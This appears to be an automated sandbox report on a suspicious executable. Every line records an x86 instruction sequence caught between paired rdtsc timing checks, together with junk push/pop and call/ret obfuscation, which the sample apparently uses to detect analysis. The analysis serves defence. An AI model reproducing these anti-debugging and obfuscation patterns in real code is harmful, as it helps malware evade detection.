Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879E99 second address: 879EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BF95 second address: 87BF9B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BFE6 second address: 87C019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 sub dword ptr [ebp+122D2753h], ebx 0x0000000e mov edx, dword ptr [ebp+122D3A7Fh] 0x00000014 push 00000000h 0x00000016 stc 0x00000017 push 9866B748h 0x0000001c pushad 0x0000001d jp 00007F1570C67162h 0x00000023 jmp 00007F1570C6715Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C019 second address: 87C01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C01D second address: 87C096 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1570C67156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 67994938h 0x00000012 clc 0x00000013 push 00000003h 0x00000015 and esi, dword ptr [ebp+122D3CABh] 0x0000001b add dword ptr [ebp+122D2C93h], esi 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F1570C67158h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d add dword ptr [ebp+1245B358h], eax 0x00000043 call 00007F1570C6715Fh 0x00000048 pushad 0x00000049 add dword ptr [ebp+122D1DCCh], ecx 0x0000004f mov dword ptr [ebp+122DB799h], edi 0x00000055 popad 0x00000056 pop ecx 0x00000057 push 00000003h 0x00000059 mov ecx, dword ptr [ebp+122D2777h] 0x0000005f push 47784700h 0x00000064 push eax 0x00000065 push edx 0x00000066 push edi 0x00000067 pushad 0x00000068 popad 0x00000069 pop edi 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C096 second address: 87C09C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C09C second address: 87C0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C0A0 second address: 87C0C5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F15714A7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 7887B900h 0x00000013 mov dword ptr [ebp+122D2739h], ebx 0x00000019 lea ebx, dword ptr [ebp+12460EA5h] 0x0000001f push eax 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C150 second address: 87C158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C158 second address: 87C1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 add dword ptr [esp], 34906B97h 0x0000000f jmp 00007F15714A7BB9h 0x00000014 push 00000003h 0x00000016 and esi, 7698F3DDh 0x0000001c push 00000000h 0x0000001e mov edi, dword ptr [ebp+122D3C4Fh] 0x00000024 push 00000003h 0x00000026 add edx, dword ptr [ebp+122D3B13h] 0x0000002c mov esi, dword ptr [ebp+122D3BEBh] 0x00000032 push F305C14Fh 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jmp 00007F15714A7BABh 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C1B3 second address: 87C1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C299 second address: 87C29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C29D second address: 87C2B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C2B7 second address: 87C321 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 jmp 00007F15714A7BB9h 0x0000000e pop eax 0x0000000f nop 0x00000010 or dword ptr [ebp+122D2BFDh], edx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F15714A7BA8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push 8BFD9104h 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F15714A7BB2h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C321 second address: 87C337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1570C67162h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C337 second address: 87C3C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 74026F7Ch 0x0000000f mov dl, C4h 0x00000011 push 00000003h 0x00000013 mov edi, edx 0x00000015 jnl 00007F15714A7BB1h 0x0000001b push 00000000h 0x0000001d mov edi, dword ptr [ebp+122D3B47h] 0x00000023 sbb dx, 03B1h 0x00000028 push 00000003h 0x0000002a mov ecx, dword ptr [ebp+122D39FBh] 0x00000030 push F88C072Ch 0x00000035 jmp 00007F15714A7BB3h 0x0000003a xor dword ptr [esp], 388C072Ch 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007F15714A7BA8h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 0000001Bh 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b lea ebx, dword ptr [ebp+12460EB9h] 0x00000061 clc 0x00000062 xchg eax, ebx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C62E second address: 89C643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1570C67161h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A567 second address: 89A56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A56D second address: 89A599 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F1570C6715Ch 0x0000000f popad 0x00000010 jnp 00007F1570C67185h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A599 second address: 89A5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A709 second address: 89A713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A713 second address: 89A719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A719 second address: 89A71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A71F second address: 89A736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F15714A7BA6h 0x0000000a jmp 00007F15714A7BADh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A736 second address: 89A73A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A73A second address: 89A740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A8C6 second address: 89A8D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 je 00007F1570C67178h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AA18 second address: 89AA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AA1D second address: 89AA37 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1570C6715Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1570C6715Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AB6E second address: 89AB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AB74 second address: 89AB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AB7C second address: 89AB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AD28 second address: 89AD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AD2E second address: 89AD32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AD32 second address: 89AD36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B33F second address: 89B343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B4C7 second address: 89B4F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F1570C6715Ch 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F1570C6715Dh 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B4F0 second address: 89B4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B64E second address: 89B674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C67160h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1570C6715Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B674 second address: 89B678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B678 second address: 89B688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C6715Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B7F4 second address: 89B7FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C06D second address: 89C071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C071 second address: 89C085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BAEh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C4B9 second address: 89C4D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67169h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F319 second address: 89F34E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F15714A7BB9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0E34 second address: 8A0E38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0E38 second address: 8A0E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push esi 0x00000009 jc 00007F15714A7BB1h 0x0000000f pop esi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F15714A7BB9h 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F15714A7BB4h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0E88 second address: 8A0E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0E8E second address: 8A0E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E973 second address: 85E97D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E97D second address: 85E987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F15714A7BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E987 second address: 85E98D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E98D second address: 85E9C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F15714A7BAAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F15714A7BB2h 0x0000001a ja 00007F15714A7BA6h 0x00000020 popad 0x00000021 jnp 00007F15714A7BA8h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871104 second address: 871108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871108 second address: 871110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871110 second address: 871151 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1570C6715Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F1570C6715Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007F1570C67156h 0x0000001a pushad 0x0000001b ja 00007F1570C67156h 0x00000021 jmp 00007F1570C67163h 0x00000026 jbe 00007F1570C67156h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871151 second address: 871157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871157 second address: 87115B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A81A7 second address: 8A81AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A81AD second address: 8A81E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F1570C67156h 0x0000000c popad 0x0000000d pushad 0x0000000e jp 00007F1570C67156h 0x00000014 jns 00007F1570C67156h 0x0000001a jng 00007F1570C67156h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 jmp 00007F1570C67161h 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c push eax 0x0000002d pop eax 0x0000002e pop ecx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A836B second address: 8A8374 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A92FF second address: 8A9304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9304 second address: 8A931C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F15714A7BACh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A947B second address: 8A948C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1570C67156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9545 second address: 8A954F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15714A7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A977D second address: 8A9794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A983F second address: 8A9844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9BE7 second address: 8A9C04 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1570C67156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F1570C6715Bh 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA190 second address: 8AA1B5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F15714A7BA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F15714A7BB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA354 second address: 8AA39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C6715Dh 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F1570C67158h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, 3F91A9A1h 0x0000002d mov esi, dword ptr [ebp+122D3932h] 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA39E second address: 8AA3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA3A2 second address: 8AA3B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABAF7 second address: 8ABAFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB1B4 second address: 8AB1BE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1570C6715Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACE92 second address: 8ACEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F15714A7BB1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD8B1 second address: 8AD8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD644 second address: 8AD675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F15714A7BAEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 jnl 00007F15714A7BA6h 0x00000016 pop ecx 0x00000017 pushad 0x00000018 jmp 00007F15714A7BAEh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD8B7 second address: 8AD908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F1570C67158h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 and esi, 36D1E541h 0x00000027 push 00000000h 0x00000029 jmp 00007F1570C67168h 0x0000002e push 00000000h 0x00000030 mov edi, esi 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 push edi 0x00000037 pop edi 0x00000038 pop edi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE3B5 second address: 8AE3BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AED39 second address: 8AED98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jc 00007F1570C6716Fh 0x00000010 jmp 00007F1570C67169h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F1570C67158h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 push 00000000h 0x00000033 adc edi, 16C7A38Dh 0x00000039 push eax 0x0000003a jng 00007F1570C6715Eh 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F6EF second address: 86F6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86206C second address: 862070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
